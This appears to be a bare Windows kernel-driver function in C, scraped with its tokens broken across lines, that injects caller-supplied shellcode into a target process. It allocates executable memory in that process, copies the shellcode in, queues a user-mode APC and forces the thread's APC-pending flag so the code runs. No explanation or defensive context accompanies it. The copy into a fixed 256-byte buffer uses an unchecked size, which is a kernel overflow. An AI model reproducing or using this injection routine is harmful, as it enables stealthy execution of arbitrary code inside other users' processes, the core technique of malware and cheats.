NTSTATUS UserAPCCallFun(PUSER_APC_DATA Info)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PETHREAD pThread = NULL;
PEPROCESS pProcess = NULL;
ntStatus = PsLookupProcessByProcessId((
HANDLE
)Info->inProcessID,&pProcess);
if
(!NT_SUCCESS(ntStatus)){
goto
UserAPCCallFunEixt;
}
if
(PsGetProcessExitStatus(pProcess) != STATUS_PENDING){
ntStatus = STATUS_UNSUCCESSFUL;
goto
UserAPCCallFunEixt;
}
ntStatus = PsLookupThreadByThreadId((
HANDLE
)Info->inThreadID,&pThread);
if
(!NT_SUCCESS(ntStatus)) {
goto
UserAPCCallFunEixt;
}
PVOID
pBaseAddress = NULL;
size_t
inShellCodeSize = Info->inShellCodeSize;
char
uShellCode1[256] = { 0 };
RtlCopyMemory(uShellCode1,Info->inShellCode,inShellCodeSize);
KAPC_STATE kApcState = { 0 };
KeStackAttachProcess(pProcess,&kApcState);
ULONG64
pBase = NULL;
size_t
size1 = 0x1000;
ntStatus = ZwAllocateVirtualMemory(-1,&pBase,NULL,&size1,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if
(!NT_SUCCESS(ntStatus))
{
KeUnstackDetachProcess(&kApcState);
goto
UserAPCCallFunEixt;
}
RtlCopyMemory(pBase,uShellCode1,inShellCodeSize);
pBaseAddress = pBase;
PsWrapApcWow64Thread(0,&pBase);
KeUnstackDetachProcess(&kApcState);
PKAPC pApc = ExAllocatePool(NonPagedPool,
sizeof
(KAPC));
KeInitializeApc(pApc,pThread,OriginalApcEnvironment,KrlRoutine,NULL,pBase,UserMode,NULL);
KeInsertQueueApc(pApc,NULL,NULL,NULL);
*(
PUCHAR
)((
PUCHAR
)pThread + UserApcPending) = 1;
*(
DWORD64
*)&Info->retShellAddress = pBaseAddress;
UserAPCCallFunEixt:
if
(pThread != NULL) ObDereferenceObject(pThread);
if
(pProcess != NULL) ObDereferenceObject(pProcess);
return
ntStatus;
}